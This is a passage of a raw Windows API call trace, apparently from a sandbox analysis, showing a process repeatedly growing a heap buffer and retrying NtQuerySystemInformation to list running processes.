RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0129.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.174] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0129.174] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.174] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0129.174] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.175] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x1cda08c0 [0129.175] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.175] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1a3a8) returned 0x1cda08c0 [0129.175] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.176] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1b3cc) returned 0x1cda08c0 [0129.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.176] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1c3f0) returned 0x1cda08c0 [0129.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.177] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1d414) returned 0x1cda08c0 [0129.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.178] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1e438) returned 0x1cda08c0 [0129.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.178] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1f45c) returned 0x1cda08c0 [0129.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.179] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x20480) returned 0x1cda08c0 [0129.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.179] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x214a4) returned 0x1cda08c0 [0129.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.180] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x224c8) returned 0x1cda08c0 [0129.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0x0 [0129.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0129.287] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x203fb690 [0129.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x203fb690, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x203fb690, ResultLength=0x0) returned 0xc0000004 [0129.288] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x203fb690, Size=0x306c) returned 0x202100b0 [0129.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x202100b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x202100b0, ResultLength=0x0) returned 0xc0000004 [0129.288] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x202100b0, Size=0x4090) returned 0x42072080 [0129.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.289] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0129.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.289] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0129.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.289] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0129.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.290] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x1cda08c0 [0129.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.290] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x9144) returned 0x1cda08c0 [0129.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.291] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0129.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.291] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0129.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.291] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0129.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.292] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0129.292] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.292] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0129.293] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.293] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0129.293] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.293] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0129.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.294] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0129.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.295] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0129.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.295] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0129.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.297] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0129.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.297] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0129.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.298] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0129.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.298] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0129.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.299] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0129.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.299] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x1cda08c0 [0129.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.300] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1a3a8) returned 0x1cda08c0 [0129.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.300] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1b3cc) returned 0x1cda08c0 [0129.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.301] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1c3f0) returned 0x1cda08c0 [0129.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.301] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1d414) returned 0x1cda08c0 [0129.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.302] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1e438) returned 0x1cda08c0 [0129.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.302] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1f45c) returned 0x1cda08c0 [0129.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.303] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x20480) returned 0x1cda08c0 [0129.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.303] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x214a4) returned 0x1cda08c0 [0129.304] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.304] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x224c8) returned 0x1cda08c0 [0129.304] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0x0 [0129.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0129.421] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x203fb690 [0129.421] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x203fb690, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x203fb690, ResultLength=0x0) returned 0xc0000004 [0129.422] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x203fb690, Size=0x306c) returned 0x202100b0 [0129.422] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x202100b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x202100b0, ResultLength=0x0) returned 0xc0000004 [0129.422] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x202100b0, Size=0x4090) returned 0x42072080 [0129.422] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.422] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0129.422] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.423] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0129.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.423] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0129.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.423] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x1cda08c0 [0129.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.424] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x9144) returned 0x1cda08c0 [0129.424] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.424] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0129.424] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.424] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0129.425] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.425] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0129.425] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.425] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0129.425] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.426] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0129.426] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.426] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0129.426] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.426] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0129.426] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.427] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0129.427] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.427] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0129.427] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.428] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0129.428] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.428] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0129.428] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.429] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0129.429] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.429] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0129.429] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.430] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0129.430] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.430] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0129.430] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.431] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x1cda08c0 [0129.431] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.431] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1a3a8) returned 0x1cda08c0 [0129.431] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.432] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1b3cc) returned 0x1cda08c0 [0129.432] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.432] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1c3f0) returned 0x1cda08c0 [0129.432] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.433] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1d414) returned 0x1cda08c0 [0129.433] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.433] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1e438) returned 0x1cda08c0 [0129.433] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.434] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1f45c) returned 0x1cda08c0 [0129.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.553] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x20480) returned 0x1cda08c0 [0129.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.554] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x214a4) returned 0x1cda08c0 [0129.554] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.555] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x224c8) returned 0x1cda08c0 [0129.555] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0x0 [0129.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0129.673] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x203fb690 [0129.673] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x203fb690, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x203fb690, ResultLength=0x0) returned 0xc0000004 [0129.673] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x203fb690, Size=0x306c) returned 0x202100b0 [0129.673] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x202100b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x202100b0, ResultLength=0x0) returned 0xc0000004 [0129.674] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x202100b0, Size=0x4090) returned 0x42072080 [0129.674] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.674] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0129.674] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.674] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0129.674] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.675] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0129.675] 